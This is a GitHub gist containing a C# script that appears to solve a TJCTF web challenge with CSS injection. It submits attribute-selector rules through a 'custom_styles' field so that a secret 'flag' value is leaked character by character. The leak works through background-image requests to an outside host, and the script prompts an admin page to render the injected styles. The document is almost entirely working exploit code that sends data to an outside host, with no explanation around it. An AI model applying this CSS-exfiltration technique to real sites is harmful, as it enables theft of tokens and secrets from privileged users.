Skip to content

Instantly share code, notes, and snippets.

@key-moon
Created April 10, 2019 06:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save key-moon/3add12f4b80d1554c1929840b25518a7 to your computer and use it in GitHub Desktop.
Save key-moon/3add12f4b80d1554c1929840b25518a7 to your computer and use it in GitHub Desktop.
static void Main()
{
var cs = "abcdefghijklmnopqrstuvwxyz0123456789";
var currentFlag = "";
while (true)
{
foreach (var c in cs) SendReq(currentFlag + c);
currentFlag += Console.ReadLine();
}
}
static void SendReq(string s)
{
var css = $".flag[value^={s}]{{background-image: url(http://ac-predictor.azurewebsites.net/{s}.png)}}";
HttpClient client = new HttpClient();
FormUrlEncodedContent content = new FormUrlEncodedContent(new Dictionary<string, string>{
{"custom_styles", css }
});
var cookie = client.PostAsync($"https://moar_horse_3.tjctf.org/", content).Result.Headers.GetValues("Set-Cookie").Last();
Console.WriteLine($"cookie of {s} : {cookie}");
HttpRequestMessage message = new HttpRequestMessage(HttpMethod.Get, "https://moar_horse_3.tjctf.org/show_admin");
message.Headers.Add("Cookie", cookie);
client.SendAsync(message);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment